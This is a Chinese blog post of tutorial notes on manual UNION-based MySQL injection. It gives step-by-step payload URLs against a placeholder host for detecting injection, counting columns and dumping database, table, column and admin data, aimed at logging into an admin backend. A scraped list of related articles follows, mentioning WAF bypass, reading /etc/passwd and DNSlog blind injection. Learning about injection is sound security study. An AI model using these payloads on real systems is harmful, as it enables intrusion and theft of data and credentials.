教务系统mysql注入的原理_SQL注入原理及具体步骤
SQL注入原理
步骤 1. 通过特殊的数据库查询语句 2. 在数据库的错误返回中找到sql漏洞 3. 利用sql语句猜解管理人员信息并登陆管理员后台
判断注入类型
下面提到的是数字型和字符型的注入, sql注入还有基于报错型SQL注入、基于布尔/时间的SQL注入、可联合查询的SQL注入
判断数字型注入url为 http://192.168.1.1/search?id=1 and 1 = 1 时, 没有报错, 除非在代码处做了限制(不允许有and字符串)
url为 http://192.168.1.1/search?id=1 and 1 = 2 时, 由于1=2不成立, 也会报错
判断字符型注入
url同样为 http://192.168.1.1/search?id=1'时, 数据库认为id叫做“1'”,查询之后发现没有这个id而返回错误.
==在字符型注入中,需要考虑引号的闭合==
http://192.168.1.1/search?id=1' and '1'='1 在'1'='1 之后没有加上'是因为传参时输入的内容已经被' '包围.
判断后台查询列数
使用order by 试出数据库列数 http://192.168.1.1/search?id=1' order by 数字 如果试6时返回错误, 5时正确.那么列数为5
找显示位
使用union select找出会返回给客户端并显示的列. 如果有5列时,应该这么写http://192.168.1.1/search?id=1 union select 1,2,3,4,5
加入显示位是5,这就意味着数据库之开放了“5”这个窗口用以显示,那么在查询其他信息(如数据库名)时应该用需要查询到信息替换它来显示这些信息
查库名联合查询: select database();
假如显示位是5, http://192.168.1.1/search?id=1 union select 1,2,3,4,database()
- 盲注使用其他方法 (还没学到这里,到时候补充)
查表名
找到库名之后 使用http://192.168.1.1/search?id=1 union select 1,2,3,4,table_name from information_schema.tables where table_schema='库名'
==如果是字符型,此处库名要转换成十六进制==
information_schema
这是一个mysql自带的库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等,故我们需要查询这个库
查列名
http://192.168.1.1/search?id=1 union select 1,2,3,4,column_name from information_schema.columns where table_name='表名'
==如果是字符型,此处表名要转换成十六进制==
如果表数或列数过多,可以在最后使用limit
加上limit 0,5 相当于检索1-5条
查具体数据
http://192.168.1.1/search?id=1 union select 1,2,3,4,group_concat(查询的数据) from 表名
教务系统mysql注入的原理_SQL注入原理及具体步骤相关推荐
- mysql数据库sql注入原理_sql注入原理详解(一)
防止SQL注入: 1.开启配置文件中的magic_quotes_gpc和magic_quotes_runtime设置 2.执行sql语句时使用addslashes进行sql语句转换 3.Sql语句书写 ...
- mysql注入转义绕过_SQL注入防御绕过——宽字节注入
01 背景知识 字符集 在了解宽字节注入之前,我们先来看一看字符集是什么.字符集也叫字符编码,是一种将符号转换为二进制数的映射关系. 几种常见的字符集: ASCII编码:单字节编码 latin1编码: ...
- mysql注入fuzz字典_sql注入fuzz bypass waf
0x0 前言 0x1 注入点检测 0x2 bypass waf 0x3 自动化 0x0 前言 这里是简单对sql注入绕过waf的一个小总结,非安全研究员,这里不讲原理,关于原理搜集了一些其他大佬的文章 ...
- mysql数据库sql注入原理_SQL注入原理解析以及举例1
sql注入是指web应用程序对用户输入数据的合法性没有判断,导致攻击者可以构造不同的sql语句来实现对数据库的操作. sql注入漏洞产生满足条件: 1:用户能够控制数据的输入. 2:原本需要执行的代码 ...
- mysql 报错注入 读文件_SQL注入-读写文件
SQL注入-读取文件 使用函数 load_file("文件路径/名称") 1.读取/etc/passwd 文件(SQL注入只能读取/etc/passwd文件,不能读取其他文件) h ...
- mysql sleep详解_sql注入详解(二)
sql注入详解 4.检测方法 首先是判断能不能进行sql注入 是哪种sql注入 (1)数字型 ?id=1 and 1=1 返回成功?id=1 and 1=2 返回失败 这说明是数字型注入,或者叫整型注 ...
- mysql 注入用例_SQL注入漏洞安全测试(WVS/POST型/手工SQL注入)
1.WVS自动化SQL注入测试 n 测试目的: 测试网站是否存在SQL注入漏洞. n 测试用例: 1) Scan settings选择sql injection策略: 2) 输入扫 ...
- mysql dba盲注_SQL注入学习-Dnslog盲注
1.基础知识 1.DNS DNS(Domain Name System,域名系统),因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的 ...
- mysql sql注释符号_SQL注入注释符(#、-- 、/**/)使用条件及其他注释方式的探索
以MySQL为例,首先我们知道mysql注释符有#.-- (后面有空格)./**/三种,在SQL注入中经常用到,但是不一定都适用.笔者在sqlilabs通关过程中就遇到不同场景用的注释符不同,这让我很 ...
- mysql注入fuzz字典_SQL注入常规Fuzz全记录
前言 本篇文章是在做ctf bugku的一道sql 盲注的题(题目地址:注入题目)中运用了fuzz的思路,完整记录整个fuzz的过程,给师傅们当点心,方便大家加深对web sql注入 fuzz的理解. ...
最新文章
- 服务器返回的常见的http状态码
- Java中重载和复写的区别
- python模块的定义_Python基础编程 模块的引入与定义
- 每一个都能笑抽,39个奇葩代码注释
- (数论)51NOD 1136 欧拉函数
- jQuery CSS 添加/删除类名
- [3]java1.8线程池—ThreadPoolExecutor
- Javascript实现用户注册验证
- 教你查看传说中的WPS2005彩蛋
- 软件测试面试如何正确谈论薪资?
- 赛后题解——真假亚瑟王(数论)
- 关于文件夹病毒exe的处理方法
- 【超详细分析】关于三次握手与四次挥手面试官想考我们什么?
- SOLIDWORKS Electrical无缝集成电气和机械设计
- matlab产生光脉冲,【资源】分享一个脉冲的光线中传输的matlab程序 - 仿真模拟 - 小木虫 - 学术 科研 互动社区...
- 什么是Linux 的xxd
- SIM显示字 SPN,PLMN ,MCC,MNC
- 大数据毕业设计 网络舆情热点分析系统 - 情感分析 Python
- 树莓派安装下载服务器,小米电视播放
- 捕捉RAISERROR异常
热门文章
- 计算机网络实验水晶头,计算机网络实验报告制作网线
- python存钱挑战_【Python 22】52周存钱挑战2.0(列表list和math函数)
- win10熄屏时间不对_Win10系统何如设置自动锁屏时间,教程来啦,windows10怎样设置熄屏时间...
- java dos攻击 异常_HashMap出现Hash DOS攻击的问题
- DDOS攻击如何防御
- phpstudy mysql 版本_phpstudy切换mysql版本
- Lamda表达式-入门篇
- 勒索病毒数据库恢复 勒索病毒解密恢复 中勒索病毒解密恢复数据
- 大连最快的dns服务器设置,大连联通50m宽带,本地dns
- 3.12_ValueError: x and y must have same first dimension, but have shapes (100,) and (1,)